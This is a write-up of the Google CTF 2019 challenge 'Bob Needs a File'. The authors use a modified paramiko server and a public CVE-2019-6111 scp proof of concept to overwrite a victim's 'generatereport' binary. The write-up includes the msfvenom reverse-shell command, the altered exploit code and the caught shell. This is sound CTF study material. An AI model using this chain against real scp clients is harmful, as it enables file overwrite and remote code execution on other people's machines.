Rating: 5.0

# Google CTF 2019 - Bob Needs a File

## Poking around

The description of the challenge is the following:

~~~
It's like Google Drive, but better, maybe.

nc sc00p.ctfcompetition.com 1337
~~~

OK, so let's start by seeing what this `netcat` connection tells us:

~~~
$ nc sc00p.ctfcompetition.com 1337

Hi Alice,

Put in your ip address here and I'll pull the file from you on our usual ssh port and execute my job to call you back with the results.

Thanks,
Bob
~~~

Right. Sounds pretty straight-forward. Bob will ask us for a file at the IP we provide "on their usual ssh port", which we don't know, and then will execute some job with that file. At this point I was already guessing that the challenge would focus on either:

- a) returning a malicious file and exploit the "job" (whatever it was) to get the flag
- or b) exploiting an SSH client vulnerability (some of which I remembered were disclosed recently)

But first things first, let's discover at what port Bob is trying to connect to us.

~~~
$ sudo tcpdump -nn -i eth0 'port not 443 and port not 80 and port not 22 and tcp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

13:29:42.321607 IP 35.195.214.46.57194 > REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286463866 ecr 0,nop,wscale 7], length 0
13:29:43.344451 IP 35.195.214.46.57194 > REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286464889 ecr 0,nop,wscale 7], length 0
13:29:45.356523 IP 35.195.214.46.57194 > REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286466901 ecr 0,nop,wscale 7], length 0
~~~

Great, he's using the 2222 port. Since he mentions the "ssh port" and he's requesting a file, we immediately thought of SFTP. After considering some options, we decided using [`paramiko`](https://www.paramiko.org/), a cool Python implementation of the SSH protocol. Luckily, `paramiko` offers some demos which we can modify to suit our needs instead of writing something from scratch. The [`demo_server.py`](https://github.com/paramiko/paramiko/blob/master/demos/demo_server.py) script seemed like a good starting point.

## Playing with paramiko

I still had in mind that the file requested by Bob needed to be crafted to exploit his job, but at this point I thought that maybe the whole thing was easier, and the flag could be the credentials sent by Bob to authenticate in the SSH server. So we modified the `demo_server` to:

- Listen on port 2222

~~~python
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("", 2222))
~~~

- Print out the provided username and password (if this is the method used to authenticate) and always authenticate correctly regardless of credentials

~~~python
def check_auth_password(self, username, password):
print(username,password)
return paramiko.AUTH_SUCCESSFUL
~~~

- Print out whatever the client sends to the server after authentication

~~~python
"""
server.event.wait(10)
if not server.event.is_set():
print("*** Client never asked for a shell.")
sys.exit(1)
"""

# ...

f = chan.makefile("rU")
username = f.readline().strip("\r\n")
print(username)
~~~

Also, some dependencies need to be installed for this script to work properly (even though we probably won't be using `gssapi`):

~~~
$ sudo apt-get install python-pip libkrb5-dev
$ pip3 install --user gssapi
~~~

OK, now we are set to go. Let's try to launch this server and give our IP to Bob again:

~~~
$ python3 demo_server.py
Read key: 60733844cb5186657fdedaa22b5a57d5
Listening for connection ...
Got a connection!
bob
Authenticated!
scp:
~~~

And just like this, two of my hypothesis went right out the window: Bob was authenticating with a blank password (sad face) and he was using `scp`, not `SFTP`. Even worse, with our implementation of the SSH server, we weren't seeing the file being requested, so we couldn't serve it to see what happened next.

## `data.txt` and `generatereport`

At this point, a lot of googling, frustrated screams and saddening sobs happened. We tried to make `scp` work server-side with `paramiko`, but we were constantly hitting roadblocks. After a while, I desperately cried for help in our team chat, and one of our members suggested using [this amazing PoC for CVE-2019-6111 and CVE-2019-6110](https://www.exploit-db.com/exploits/46193). Even though we had thought of client-side SSH exploits, what interested us the most was the working `scp` server that returned any file that was requested. Yeah, umpteenth reminder that there are people out there way better than me at anything!

But well, let's give it a try! Just by changing the interface it listens on:

~~~python
sock.bind(('0.0.0.0', 2222))
sock.listen(0)
logging.info('Listening on port 2222...')
~~~

And giving our IP to Bob once more:

~~~
$ python3 46193.py
INFO:root:Creating a temporary RSA host key...
INFO:root:Listening on port 2222...
INFO:root:Received connection from 34.76.117.194:38910
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_5.9p1)
INFO:paramiko.transport:Auth rejected (none).
INFO:root:Authenticated with bob:
INFO:paramiko.transport:Auth granted (password).
INFO:root:Opened session channel 0
INFO:root:Approving exec request: scp -f -- data.txt
INFO:root:Sending requested file "data.txt" to channel 0
INFO:root:Sending malicious file "exploit.txt" to channel 0
INFO:root:Covering our tracks by sending ANSI escape sequence
INFO:paramiko.transport:Disconnect (code 11): disconnected by user
~~~

Wow, just with that we see that `data.txt` is the file that Bob requests! And by pure luck it seems the exploit works too. It's just we don't know what we want to exploit with it just yet. But Bob said he would "come back to us" with the result of his "job", so let's listen for incoming connections again and see what happens:

~~~
$ sudo tcpdump -nn -i eth0 'port not 443 and port not 80 and port not 22 and tcp'
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes

...

14:10:27.612236 IP 35.195.214.46.57610 > REDACTED.2223: Flags [S], seq 423611077, win 28400, options [mss 1420,nop,nop,TS val 1288908991 ecr 0,nop,wscale 7], length 0
14:10:27.612285 IP REDACTED.2223 > 35.195.214.46.57610: Flags [R.], seq 0, ack 423611078, win 0, length 0
~~~

After all the traffic to port 2222, we can see another connection from the same IP address to our port 2223. Let's listen on that port to see what Bob is trying to send us!

~~~
$ nc -lvvp 2223
Listening on [0.0.0.0] (family 0, port 2223)
Connection from 46.214.195.35.bc.googleusercontent.com 57648 received!
## generated by generatereport
## generatereport failed. Error: unknown
~~~

Hmmm. Ok, apparently some `generatereport` tool was executed with our `data.txt` and of course it failed because we didn't provide the proper file.

## CVE-2019-6111

Again, we googled a lot at this point to see what this `generatereport` was and how we could exploit it, maybe sending it a malicious `data.txt` file... And of course we found nothing. But then it clicked us.

We have a functional PoC of CVE-2019-6111 to overwrite additional files other than the one requested via `scp`. Why don't we try to overwrite that `generatereport`, whatever it is? (assuming it's in the same directory where `data.txt` is being requested!)

To confirm this, we firstly altered the exploit so that it sent an innocuous `generatereport` file to see what happened. And after setting the server up and speaking with Bob again, we happily checked that we no longer received the connection to port 2223 after Bob's `scp`. It seemed that our hypothesis was correct and `generatereport` was overwritten. Time to deliver a real payload!

~~~
# msfvenom -p linux/x86/shell_reverse_tcp LHOST=REDACTED LPORT=2223 -f elf -o sploit
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: sploit
~~~

**Note:** We used port 2223 with our reverse shell to make sure the victim could go out through that port and no firewall would block us.

Once the malicious executable was set, we modified the exploit to deliver it instead of the default payload:

~~~python
with open('sploit', 'rb') as f:
payload = f.read()

# ...

# This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
logging.info('Sending malicious file "generatereport to channel %d',
channel.get_id())
command = 'C0664 {} generatereport\n'.format(len(payload)).encode('ascii')
~~~

The only thing left to do was to set the listener and cross our fingers:

~~~
$ nc -lvvp 2223
Listening on [0.0.0.0] (family 0, port 2223)
Connection from 170.101.195.35.bc.googleusercontent.com 34972 received!
id
uid=1337(user) gid=1337(user) groups=1337(user)

cat flag.txt
CTF{0verwr1teTh3Night}
~~~

I have to admit that, for the first 10 seconds, I couldn't believe it worked.

Thanks for reading!